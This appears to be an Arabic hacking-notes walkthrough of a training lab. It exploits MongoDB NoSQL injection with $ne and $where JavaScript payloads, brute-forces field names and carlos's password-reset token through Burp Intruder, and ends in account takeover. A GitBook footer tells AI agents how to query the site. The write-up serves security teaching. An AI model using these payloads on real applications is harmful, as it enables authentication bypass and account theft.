> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# استخراج الحقول غير المعروفة باستخدام معاملات NoSQL

### استغلال حقن عامل NoSQL لاستخراج الحقول غير المعروفة

تعتمد وظيفة البحث عن المستخدم في هذا المختبر على قاعدة بيانات MongoDB NoSQL. وهي عرضة لحقن NoSQL. / الهدف هو تسجيل الدخول باسم **carlos**.

<figure><img src="/files/0278b5a5a0259829c0ebb5dd5434d30781a479a7" alt=""><figcaption></figcaption></figure>

#### السياق الأولي

هناك ميزة **نسيت كلمة المرور**.

الاستعلام المرسل عبر POST إلى `/forgot-password` يبدو كالتالي:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### اختبار حقن NoSQL في تسجيل الدخول

عند محاولة حقن NoSQL في نموذج تسجيل الدخول:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

يتم حظر الحساب وتظهر الرسالة التالية:

> تم قفل الحساب: يرجى إعادة تعيين كلمة المرور الخاصة بك

<figure><img src="/files/46b04d8fbb1b0a7255ede9acc981f3e905e9ab57" alt=""><figcaption></figcaption></figure>

#### الحظر باستخدام `$where`

يُلاحظ أن إضافة `$where` الحقل تفسّره الخادم على أنه:

* إذا `$where` هو `1` → يبقى الحساب محظورًا
* إذا `$where` يستحق `0` → يختفي الحظر

مثال:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

هذا يؤكد أن `$where` المعامل قابل للتنفيذ.

<figure><img src="/files/ac55011a7254e5f0643c096f22b5a8bae4b3ace9" alt=""><figcaption></figcaption></figure>

#### القيود وتغيير الاستراتيجية

كانت الفكرة الأصلية هي استخدام `$where` للتحقق من كلمة المرور مباشرةً، على سبيل المثال:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

ومع ذلك، بما أن الحساب مقفل، فهذا الأسلوب غير قابل للاستخدام. / لذلك يجب عليك المرور عبر **إعادة تعيين كلمة المرور**.

#### سرد حقول كائن المستخدم

`$where` يُستخدم لسرد مفاتيح كائن المستخدم باستخدام:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

الطلب الكامل:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="/files/220191d6e9bd436bfd789ca4cec35f9f65fd5479" alt=""><figcaption></figcaption></figure>

* `X`: موضع الحرف (0-20)

<figure><img src="/files/1d735df9f0ebc3ceaa3b36375bb44789bbc8b6a7" alt=""><figcaption></figcaption></figure>

* `Y`: الأحرف المختبرة (`a-z`, `A-Z`, `0-9`)

<figure><img src="/files/dcb67c710ab64ed906a700220834c98cd4d17d29" alt=""><figcaption></figcaption></figure>

الهجوم المرسل عبر **Intruder** بـ **Cluster Bomb**

#### نتائج تعداد الحقول

بناءً على طول الاستجابة (**Content-Length**):

* `Object.keys(this)[0]` → `المعرّف`

<figure><img src="/files/9168cae4df8126a61dbc1b97286abe34be6c0534" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `اسم المستخدم`

<figure><img src="/files/127915af7321ddbc2af05c681c8223aefb9f7dc2" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `كلمة المرور`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="/files/168b0b5e3f611dfec1d1cee44dae0ea03e1a4e12" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `البريد الإلكتروني`
* `Object.keys(this)[4]` → `passwordReset`

" الـ `passwordReset` يظهر الحقل فقط إذا تم تشغيل إعادة تعيين كلمة المرور لـ **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### تأكيد `passwordReset` الحقل

<figure><img src="/files/cad6220e6242d17df9352b8e748ed5e37fc8cc22" alt=""><figcaption></figcaption></figure>

الوصول إلى نقطة النهاية:

```bash
/forgot-password?passwordReset=
```

الإجابة:

> رمز غير صالح

الحقل موجود

<figure><img src="/files/5c4697c983d8bf405ac584019f2b4b535b6fa561" alt=""><figcaption></figcaption></figure>

#### قائمة الرموز `passwordReset`

ثم يتم استخراج قيمة الرمز:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: موضع الحرف
* `Y`: الأحرف الممكنة

<figure><img src="/files/d3f8e34c400a3e11905b2bb6af0b5dd36f612b58" alt=""><figcaption></figcaption></figure>

* الإرسال عبر **Intruder** (Cluster Bomb)

#### النتيجة

الـ **carlos** يتم استرداد رمز إعادة التعيين:

```bash
5d252f7e28f468ee
```

<figure><img src="/files/d3f8e34c400a3e11905b2bb6af0b5dd36f612b58" alt=""><figcaption></figcaption></figure>

#### الاستغلال النهائي

باستخدام هذا الرمز، يمكنك الوصول إلى ميزة إعادة تعيين كلمة المرور وتعيين كلمة مرور جديدة لـ **carlos**، مما يتيح لك تسجيل الدخول إلى حسابك والتحقق من المختبر.

<figure><img src="/files/7939eb57d7c135331234b12af80577e5d2f8f113" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
